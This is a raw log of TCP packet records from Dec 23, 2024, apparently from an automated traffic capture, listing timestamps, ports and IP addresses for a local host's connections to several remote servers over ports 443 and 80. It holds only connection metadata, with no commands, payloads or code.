Dec 23, 2024 06:54:00.780631065 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.780641079 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.794001102 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.794068098 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.794080019 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.807615995 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.807679892 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.807708979 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.821162939 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.821228027 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.821244955 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.833890915 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.833946943 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.833961964 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.846550941 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.846626043 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.846641064 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.858983040 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.859081030 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.859113932 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.859124899 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.859175920 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.871474981 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.884123087 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.884183884 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.884198904 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.927565098 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.927577019 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.938610077 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.938683033 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.938699007 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.943722010 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.943778992 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.943787098 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.952758074 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.952815056 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.952826023 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.964487076 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.964545965 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.964557886 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.977025032 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.977086067 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.977097034 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.988502026 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:00.988567114 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:00.988579988 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.000020027 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.000073910 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.000089884 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.010783911 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.010842085 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.010857105 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.021897078 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.021951914 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.021974087 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.032975912 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.033032894 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.033045053 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.043523073 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.043586016 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.043607950 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.054265976 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.054321051 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.054335117 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.065037966 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.065099955 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.065129995 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.087299109 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.087364912 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.087379932 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.087541103 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.087584972 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.087593079 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.094255924 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.094321966 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.094345093 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.102294922 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.102371931 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.102397919 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.110961914 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.111143112 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.111160040 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.119709015 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.119782925 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.119815111 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.128351927 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.128411055 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.128427029 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.136993885 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.137044907 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.137065887 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.142581940 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.142627001 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.142637968 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.151966095 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.152009964 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.152010918 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.152029991 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.152070999 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.153858900 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.158685923 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.158731937 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.158744097 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.164109945 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.164165974 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.164175034 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.169517040 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.169622898 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.170026064 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.170037031 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.170078039 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.174854994 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.180421114 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.180469036 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.180479050 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.180495977 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.180533886 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.185803890 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.185889006 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.185945988 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.185955048 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.191881895 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.191931009 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.191970110 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.193030119 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.193075895 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.193093061 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.193478107 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.193485975 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.193501949 CET	443	49816	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:01.193522930 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.193551064 CET	49816	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:01.305730104 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.305854082 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.308372974 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.308382988 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.308635950 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.310214043 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.310305119 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.310311079 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.310444117 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.351366043 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.852173090 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.852395058 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:01.852515936 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.852752924 CET	49825	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:01.852771997 CET	443	49825	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:02.219172955 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:02.219229937 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:02.219351053 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:02.224275112 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:02.224287987 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:03.747487068 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:03.747821093 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:03.867625952 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:03.867645979 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:03.867760897 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:03.868082047 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:03.914812088 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:03.915072918 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:03.915087938 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:03.915476084 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:03.917088032 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:03.917167902 CET	443	49836	172.217.21.36	192.168.2.6
Dec 23, 2024 06:54:03.959247112 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:03.987534046 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:04.669440031 CET	49853	443	192.168.2.6	172.217.17.46
Dec 23, 2024 06:54:04.669476032 CET	443	49853	172.217.17.46	192.168.2.6
Dec 23, 2024 06:54:04.669686079 CET	49853	443	192.168.2.6	172.217.17.46
Dec 23, 2024 06:54:04.669903994 CET	49853	443	192.168.2.6	172.217.17.46
Dec 23, 2024 06:54:04.669919014 CET	443	49853	172.217.17.46	192.168.2.6
Dec 23, 2024 06:54:05.663732052 CET	49856	443	192.168.2.6	172.217.19.206
Dec 23, 2024 06:54:05.663794041 CET	443	49856	172.217.19.206	192.168.2.6
Dec 23, 2024 06:54:05.663860083 CET	49856	443	192.168.2.6	172.217.19.206
Dec 23, 2024 06:54:05.664099932 CET	49856	443	192.168.2.6	172.217.19.206
Dec 23, 2024 06:54:05.664113045 CET	443	49856	172.217.19.206	192.168.2.6
Dec 23, 2024 06:54:05.705956936 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:05.706058979 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:05.791734934 CET	49836	443	192.168.2.6	172.217.21.36
Dec 23, 2024 06:54:05.791892052 CET	49853	443	192.168.2.6	172.217.17.46
Dec 23, 2024 06:54:05.791965008 CET	49856	443	192.168.2.6	172.217.19.206
Dec 23, 2024 06:54:05.892188072 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:06.011657953 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:06.821230888 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:06.823427916 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:11.826303005 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:11.826411009 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:12.204400063 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:12.204504013 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:12.588223934 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:12.588386059 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:15.228282928 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:15.228334904 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:15.228533983 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:15.229165077 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:15.229186058 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.444417953 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.444524050 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.446288109 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.446296930 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.446556091 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.448224068 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.448282957 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.448287964 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.448400021 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.491339922 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.990324974 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.990410089 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:17.990490913 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.990590096 CET	49879	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:17.990602016 CET	443	49879	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:18.636420965 CET	49847	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:18.636806965 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:18.755908012 CET	80	49847	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:18.756330013 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:18.756431103 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:18.756616116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:18.876039982 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:20.594247103 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:20.594383001 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.050746918 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.170205116 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492539883 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492600918 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492614985 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492747068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.492867947 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492888927 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.492918968 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.492940903 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.493134975 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.493148088 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.493171930 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.493195057 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.493216038 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.493511915 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.493531942 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.493588924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.500924110 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.504807949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.612215996 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.612351894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.684690952 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.684708118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.684814930 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.687144995 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.687212944 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.687232971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.687273026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.695621014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.695657015 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.695683002 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.695714951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.703900099 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.703983068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.703985929 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.704034090 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.712272882 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.712367058 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.712366104 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.712414026 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.720674038 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.720727921 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.720765114 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.720797062 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.729028940 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.729069948 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.729123116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.729123116 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.737384081 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.737411022 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.737464905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.737505913 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.745742083 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.745836020 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.745898962 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.745951891 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.754097939 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.754174948 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.754226923 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.754272938 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.762540102 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.762645006 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.762655020 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.762701988 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.770880938 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.770975113 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.876723051 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.876801014 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.876841068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.876894951 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.879182100 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.879259109 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.880100965 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.880160093 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.880196095 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.880244017 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.885076046 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.885157108 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.885181904 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.885227919 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.890073061 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.890147924 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.890185118 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.890232086 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.895019054 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.895118952 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.895138979 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.895181894 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.899842024 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.899919987 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.899935961 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.899980068 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.904577971 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.904639959 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.904674053 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.904769897 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.909352064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.909410954 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.909447908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.909497976 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.914155006 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.914243937 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.914252043 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.914290905 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.918927908 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.918999910 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.919043064 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.919089079 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.923809052 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.923882008 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.923971891 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.924019098 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.928474903 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.928577900 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.928601027 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.928648949 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.933288097 CET	80	49889	185.215.113.206	192.168.2.6
Dec 23, 2024 06:54:21.933362961 CET	49889	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:54:21.933387041 CET	80	49889	185.215.113.206	192.168.2.6
